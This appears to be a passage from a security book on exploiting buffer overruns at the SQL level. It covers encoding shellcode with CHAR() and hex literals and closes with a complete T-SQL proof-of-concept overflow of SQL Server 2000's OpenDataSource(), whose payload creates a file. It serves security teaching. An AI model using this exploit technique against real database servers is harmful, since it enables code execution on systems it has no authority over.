Running Operating System Commands

Exploiting Overruns at the SQL Level

Exploiting holes at the SQL level is easier than it is at lower levels. That's not to say, however, that exploiting holes at lower levels is difficultit's only slightly more so. The reason the SQL level is less difficult is that we can rely on client tools such a Microsoft's Query Analyzer and Oracle's SQL*Plus to wrap our exploit using the correct higher-level protocols such as TDS and TNS. We would then code our exploit in the SQL extension of choice.

SQL Functions

Most overflow vulnerabilities that occur in the SQL level exist within functions or extended stored procedures. Such vulnerabilities are found within the actual SQL parser very rarely. This is logical, however. The SQL parser needs to be robust and must deal with an almost infinite number of variations on queries; the code must be bug free. Functions and extended stored procedures, on the other hand, generally are designed to perform one or two specific actions; the code behind this functionality is less scrutinized.

Most executable code typically found in an exploit is not simple printable ASCII; because of this, we need a method to get printable ASCII across the wire from a SQL client tool. While this sounds like a difficult proposition at first, it's not. As we have already indicated, the way in which you can exploit overruns in the SQL layer is unlimitedextensions to SQL provide a rich programming environment, and exploits can be written in any conceivable manner. Let's look at a few examples.

Using the CHR/CHAR Function

Most SQL environments have a CHR or CHAR function, which takes a number and converts it into a character. Using the CHR function we can build executable code. For example, if we wanted code that executed a call eax function, the bytes of this is instruction are 0xFF and 0xD0 . Our Microsoft SQL would be:

 DECLARE @foo varchar(20) SELECT @foo = CHAR(255) + CHAR(208) 

Oracle uses the CHR() function.

We don't even always need the CHR/CHAR function. We can simply plug in the bytes directly using hex.

 SELECT @foo = 0xFFD0 

Using such methods we can see that we have no problem getting our binary code across. As a working example, consider the following T-SQL code, which exploits a stack-based buffer overrun in Microsoft's SQL Server 2000.

 -- Simple Proof of Concept -- Exploits a buffer overrun in OpenDataSource() -- -- Demonstrates how to exploit a UNICODE overflow using T-SQL -- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO -- I'm overwriting the saved return address with 0x42B0C9DC -- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2 -- The address holds a jmp esp instruction. -- -- To protect against this overflow download the latest Jet Service  -- pack from Microsoft - http://www.microsoft.com/ --  -- David Litchfield ([e-mail]) -- 19th June 2002         declare @exploit nvarchar(4000) declare @padding nvarchar(2000) declare @saved_return_address nvarchar(20) declare @code nvarchar(1000) declare @pad nvarchar(16) declare @cnt int declare @more_pad nvarchar(100)     select @cnt = 0 select @padding = 0x41414141 select @pad = 0x4141     while @cnt < 1063 begin            select @padding = @padding + @pad           select @cnt = @cnt + 1 end     -- overwrite the saved return address     select @saved_return_address = 0xDCC9B042 select @more_pad = 0x4343434344444444454545454646464647474747     -- code to call CreateFile(). The address is hardcoded to 0x77E86F87 -  Win2K Sp2 -- change if running a different service pack     select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D1424505040504850 50B0C05052B8876FE877FFD0CCCCCCCCCC select @exploit = N'SELECT * FROM OpenDataSource(  ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\' select @exploit = @exploit + @padding + @saved_return_address +  @more_pad + @code select @exploit = @exploit + N'";User ID=Admin;Password=;Extended  properties=Excel 5.0'')...xactions' exec (@exploit)